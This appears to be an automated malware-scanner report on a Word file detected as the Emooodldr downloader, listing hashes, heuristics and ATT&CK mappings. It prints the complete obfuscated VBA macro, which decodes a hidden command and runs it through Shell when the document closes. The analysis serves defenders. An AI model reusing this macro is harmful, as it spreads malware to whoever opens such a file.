Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 fa9beaf7e8eb887f…

MALICIOUS

Office (OOXML)

53.7 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2018-07-14
MD5: 0d4c1fc61258263a829d21e99affc6cd SHA-1: 31b6714de2f8087067c2454d72b91c72dc8c0562 SHA-256: fa9beaf7e8eb887f46ed584d2bb5b79f3c0fe5d57d6a5aecbdc7f6093c316eb8
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Malware.Emooodldr-6711604-0. It contains VBA macros, specifically an Auto_Close macro, which utilizes the Shell() function. This indicates an attempt to execute external code, likely to download and run a secondary payload. The presence of VBA macros and the use of Shell() are strong indicators of a macro-based downloader.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2157 bytes
SHA-256: a3ea270ad5473508e93937304fd11690c89b45c171daf1f70cee593a0e90b677
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function phlebostasia(megachiropteran)
  loaminesses = Array("K", "x", "a", "G", "A", "F", "Y", "5", "s", "v", "W", "r", "f", "2", "R", "g", "3", "9", "P", "", "e", "E", "T", "6", "z", "d")
  decreement = Array(":", "u", "n", "O", "x", "j", "c", "s", "i", "?", " ", "q", "U", ".", "w", "o", "t", "=", "p", "a", "/", "m", "h", "e", "g", "d")
  
  salsilla = vbNullString
  
  For Each plenist In megachiropteran
    legitimizers = Application.Run("remelted", plenist, loaminesses)
    If legitimizers > -1 And legitimizers < 99212 Then
    salsilla = decreement(legitimizers) + salsilla
    End If
  Next
  
  phlebostasia = StrReverse(salsilla)
  
End Function

Public Function remelted(miscreating, strapped)

  unintroducible = 81818
  hyeniformator = -1
  For Each refined In strapped
    If refined = miscreating Then
     unintroducible = hyeniformator
     Exit For
    End If

    hyeniformator = hyeniformator + 1
    
  Next

  
  If unintroducible = 81818 Then
    unintroducible = -1
  End If


  remelted = unintroducible + 1
End Function




Sub AutoClose()
  megachiropteran = Array("E", "5", "T", "3", "", "2", "6", "A", "6", "W", "T", "3", "3", "P", "K", "e", "e", "F", "T", "s", "F", "d", "r", "R", "x", "z", "T", "", "5", "a", "d", "", "5", "6", "r", "R", "2", "Y", "g", "E", "e", "G", "f", "e", "5", "E", "s", "A", "2", "P", "T", "P", "v", "x", "3", "E", "", "9", "a", "a", "s", "s", "s")
  sulfonylureas = phlebostasia(megachiropteran)
  
  Application.Run "congees", (sulfonylureas)
  
End Sub


Private Sub congees(eidolon)
   
   tacca = 69172
   thermoscopical = True
   
   While thermoscopical
     muskrats = tacca + 91723
     If muskrats - tacca > 297 Then
       VBA.Shell eidolon, vbNormalFocus - 1
       thermoscopical = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 69974c4863ffd951220b48a54dae50e5e86194b8fc39255867d72551d7f7a8ba
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely